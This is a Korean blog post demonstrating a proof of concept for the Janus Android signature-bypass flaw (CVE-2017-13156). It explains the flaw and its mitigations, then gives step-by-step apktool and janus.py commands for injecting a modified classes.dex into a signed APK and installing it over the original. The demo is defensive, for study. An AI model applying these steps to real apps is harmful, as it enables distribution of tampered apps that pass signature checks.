본문 바로가기

Mobile

Janus(CVE-2017-13156) 취약점 PoC

Janus(CVE-2017-13156) 취약점 이란?

안드로이드 앱은 반드시 개발자가 본인의 서명키를 가지고 앱에 서명을 해야한다. 또한 앱이 업데이트 되면 업데이트된 앱의 서명과 기 설치된 앱의 서명이 동일해야만 정상적인 업데이트가 가능하다. 만약  악의적인 의도를 가진 누군가에 의해 앱이 수정이 되어 리패키징이 되어도 공격자는 개발자의 서명키를 가지고 있지 않기 때문에, 리패키징한 앱의 서명과 기존의 앱의 서명이 일치하지 않게되므로 안드로이드 OS는 해당 앱의 업데이트를 차단하게 된다.

 

이러한 매커니즘을 통하여, 업데이트마다 정상적인 앱을 통한 업데이트 라는 것을 보증할 수 있다.  하지만, Google은 작년에 이 매커니즘을 우회 할 수 있는 안드로이드 취약점을 공개하였는데, 그 것이 바로 Janus(CVE-2017-13156) 취약점이다. 해당 취약점을 악용하면 공격자가 원래 앱의 서명에 영향받지 않는 선에서 앱을 수정할 수 있게 된다.

 

해당 취약점의 근본 원인은, 하나의 파일이 APK 파일이며 DEX 파일일 수도 있기 때문입니다. 이러한 동시성은, APK 파일과 DEX 파일의 이원성을 위한 것인데, 마치 로마신화의 Janus를 연상시켜 이번 취약점은 Janus(CVE-2017-13156)로 명명 되었다고 한다.

 

 

영향받는 버전

JAR 서명을 기반으로 서명하는 모든 스키마(ver1)

 

영향받지 않는 버전

Android 7.0 이후 도입된 APK 서명 스키마 ver2

 

조치방안

- 사용자

    안드로이드 OS 버전 업데이트

    공식 마켓에서만 다운로드

 

- 개발자

    App의 APK를 최신버전의 Signature scheme V2 서명 매커니즘으로 업데이트

    APP APK 파일의 시작 바이트를 확인하여, APP이 변조되지 않았는지 확인

 
 
 
 
 
PoC, Proof of Concept
 

hacker는 Janus 취약점을 통해 helloworld 앱을 변조하여 다른 이용자들에게 배포하고 싶다.

 

시나리오를 정리하자면 다음과 같다.

  1. helloworld.apk를 다운로드 받아 원하는대로 수정한다.
  2. 리패키징 후 classes.dex를 추출하여
  3. janus 취약점을 이용해 기존의 helloworld.apk에 수정한 classes.dex를 심는다.
  4. 악의적으로 수정한 앱을 배포한다.
  5. 사용자들은 해당 앱이 정상적으로 업데이트 될 것이므로 의심의 여지없이 사용할 것이다.
 
이제 해당 시나리오대로 되는지 검증을 해보도록 한다.
 
 
[ 검증 환경 ]
  • macOS High sierra 10.13.1
  • android version 6.0.1
  • java 1.8
 
[ 준비사항 ]
 
Target App  ]
 
helloworld.apk : 단순 Helloworld 앱
 
public class MainActivity extends AppCompatActivity {
 
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        LinearLayout linear = new LinearLayout(this);
        linear.setOrientation(LinearLayout.VERTICAL);
        linear.setBackgroundColor(Color.WHITE);
 
        TextView text = new TextView(this);
        text.setText("Hello world !");            // 이 부분을 변조하여 설치할 예정임.
        text.setGravity(Gravity.CENTER);
        text.setTextColor(Color.RED);
        text.setTextSize(20);
 
        linear.addView(text);
        setContentView(linear);
    }
}
 
앱 빌드 시 아래와 같이 Signature Version을 V1을 포함하여 빌드 하여야 해당 취약점에 대한 테스트가 가능하다. 해당 앱은 자체 서명키를 발행하여 서명 하였다.
 
 
 
$ keytool -printcert -jarfile helloworld.apk
서명자 #1:
서명:
소유자: CN=isyang, OU=isyang, O=isyang, L=seoul, C=82
발행자: CN=isyang, OU=isyang, O=isyang, L=seoul, C=82
일련 번호: 34321b3e
적합한 시작 날짜: Mon Apr 23 15:40:22 KST 2018 종료 날짜: Fri Apr 17 15:40:22 KST 2043
인증서 지문:
     SHA1: 59:99:49:B2:B4:6B:3C:B5:B9:9B:EB:39:07:F6:1C:D8:66:6E:11:7D
     SHA256: 9F:80:FB:1E:50:3E:3F:9D:3E:D6:D1:1A:BA:7D:BE:6D:6A:AD:83:EF:7F:AE:C1:A6:1A:DF:DF:9F:B3:BF:91:22
서명 알고리즘 이름: SHA256withRSA
주체 공용 키 알고리즘: 2048비트 RSA 키
버전: 3
 
 
 
[ 필요한 툴 다운로드 ]
 
필요한 툴과 익스플로잇 코드를 다운 받도록 한다. 
 
- Target apk download (helloworld.apk) : 파일첨부
 
- JAVA install
$ brew update
$ brew cask install java
 
- Janus exploit code download
# janus exploit code download
 
- apktool.jar download
 
프로그램 및 코드를 모두 다운로드 받았다면 이제 apk 파일을 reversing 후 변조하여 보도록 한다.  
target apk 파일을 decomplie하여 App의 내용을 수정한다.
 
$ java -jar apktool_2.2.1.jar d helloworld.apk -o helloworld
I: Using Apktool 2.2.1 on helloworld.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /Users/insukyang/Library/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
 
디컴파일이 정상적으로 완료된다면 위와 같은 메시지가 출력되며, helloworld 폴더에 디컴파일된 파일들을 볼 수 있다.
 
cd helloworld
ls -al
total 16
drwxr-xr-x    7 insukyang  staff   224  4 23 17:23 .
drwxr-xr-x    7 insukyang  staff   224  4 23 17:23 ..
-rw-r--r--    1 insukyang  staff  1049  4 23 17:23 AndroidManifest.xml
-rw-r--r--    1 insukyang  staff   395  4 23 17:23 apktool.yml
drwxr-xr-x    4 insukyang  staff   128  4 23 17:23 original
drwxr-xr-x  130 insukyang  staff  4160  4 23 17:23 res
drwxr-xr-x    4 insukyang  staff   128  4 23 17:23 smali
 
우리가 수정해야 할 소스코드는 smali 폴더에 위치하고 있으며, 해당 파일은 helloworld/smali/janus/poc/android/janusapp/MainActivity.smali이다.
파일을 열면 아래와 같은 코드를 볼 수 있는데, 우리가 수정할 부분은 "Hello world !"라는 문자열이다.
 
    .line 22
    new-instance v1, Landroid/widget/TextView;
 
    invoke-direct {v1, p0}, Landroid/widget/TextView;-><init>(Landroid/content/Context;)V
 
    .line 23
    .local v1, "text":Landroid/widget/TextView;
    const-string v2, "Hello world !"  => "Hello, You are hacked !"
 
    invoke-virtual {v1, v2}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V
 
문자열 수정 후 리패키징 하여, apk 파일을 만든다. 리패키징이 완료된 apk 파일은 helloworld/dist/helloworld.apk에 생성된다.
 
java -jar apktool_2.2.1.jar b helloworld
I: Using Apktool 2.2.1
I: Checking whether sources has changed...
I: Smaling smali folder into classes.dex...
I: Checking whether resources has changed...
I: Building resources...
I: Building apk file...
I: Copying unknown files/dir...
 
ls -al helloworld/dist/
total 2816
drwxr-xr-x  3 insukyang  staff       96  4 23 17:40 .
drwxr-xr-x  9 insukyang  staff      288  4 23 17:40 ..
-rw-r--r--  1 insukyang  staff  1440113  4 23 17:40 helloworld.apk
 
apk 파일의 압축을 해제하여 classes.dex을 추출하고, 익스플로잇 코드를 실행 한다.
 
$ unzip helloworld/dist/helloworld.apk -d ./hacked_hello
$ ls -al hacked_hello/
total 4648
drwxr-xr-x   6 insukyang  staff      192  4 23 17:47 .
drwxr-xr-x   9 insukyang  staff      288  4 23 17:47 ..
-rw-r--r--   1 insukyang  staff     2172  1  1  1980 AndroidManifest.xml
-rw-r--r--   1 insukyang  staff  2147592  1  1  1980 classes.dex
drwxr-xr-x  27 insukyang  staff      864  4 23 17:47 res
-rw-r--r--   1 insukyang  staff   222948  1  1  1980 resources.arsc 
 
익스플로잇 코드의 사용법은 다음과 같다.
 
$ python janus.py -h
usage: janus.py [-h] original-apk dex-file output-apk 
 
Creates an APK exploiting the Janus vulnerability.
 
positional arguments:
  original-apk  the source apk to use
  dex-file      the dex file to prepend
  output-apk    the file to output to
 
optional arguments:
  -h, --help    show this help message and exit
 
이제 실제로 익스플로잇 코드를 실행하여 classes.dex 파일을 삽입한다. 익스플로잇이 정상으로 실행되었다면, hacked_hello.apk 파일이 생성되었을 것이다.
이제 기존에 helloworld가 설치된 에뮬레이터나 안드로이드폰에 재설치를 진행해 보도록 한다.
 
$ python janus.py helloworld.apk hacked_hello/classes.dex hacked_hello.apk
 
ls -al
total 23512
drwxr-xr-x  10 insukyang  staff      320  4 23 17:48 .
drwxr-xr-x  14 insukyang  staff      448  4 23 15:00 ..
-rwxr-xr-x   1 insukyang  staff  6972627 12  7  2016 apktool_2.2.1.jar
drwxr-xr-x   6 insukyang  staff      192  4 23 17:47 hacked_hello
-rw-r--r--   1 insukyang  staff  3595159  4 23 17:48 hacked_hello.apk
drwxr-xr-x   9 insukyang  staff      288  4 23 17:40 helloworld
-rw-r--r--   1 insukyang  staff  1447567  4 23 15:59 helloworld.apk
-rwxr-xr-x   1 insukyang  staff     4714  4 19 15:26 janus.py
drwxr-xr-x   6 insukyang  staff      192  4 23 17:46 re_hello
 
$ adb install -r hacked_hello.apk
hacked_hello.apk: 1 file pushed. 2.3 MB/s (3595159 bytes in 1.486s)
    pkg: /data/local/tmp/hacked_hello.apk
Success
 
해당 앱이 정상적으로 설치되는 것을 확인 할 수 있다.
 
 
정상 앱 변조 앱
서명
소유자: CN=isyang, OU=isyang, O=isyang, L=seoul, C=82
발행자: CN=isyang, OU=isyang, O=isyang, L=seoul, C=82
일련 번호: 34321b3e
인증서 지문:
59:99:49:B2:B4:6B:3C:B5:B9:9B:EB:39:07:F6:1C:D8:66:6E:11:7D
소유자: CN=isyang, OU=isyang, O=isyang, L=seoul, C=82
발행자: CN=isyang, OU=isyang, O=isyang, L=seoul, C=82
일련 번호: 34321b3e
인증서 지문:
59:99:49:B2:B4:6B:3C:B5:B9:9B:EB:39:07:F6:1C:D8:66:6E:11:7D
앱 실행

 

 

 

 

 

 

Reference)

  • http://blog.alyac.co.kr/1441
  • https://github.com/odensc/janus
  • http://www.androidpolice.com/2017/12/08/janus-vulnerability-allows-attackers-modify-apks-without-changing-signature-apkmirror-already-protected

 

'Mobile' 카테고리의 다른 글

File system mount  (0) 2016.11.03
Netbeans를 통한 Android App 동적 디버깅  (0) 2015.04.13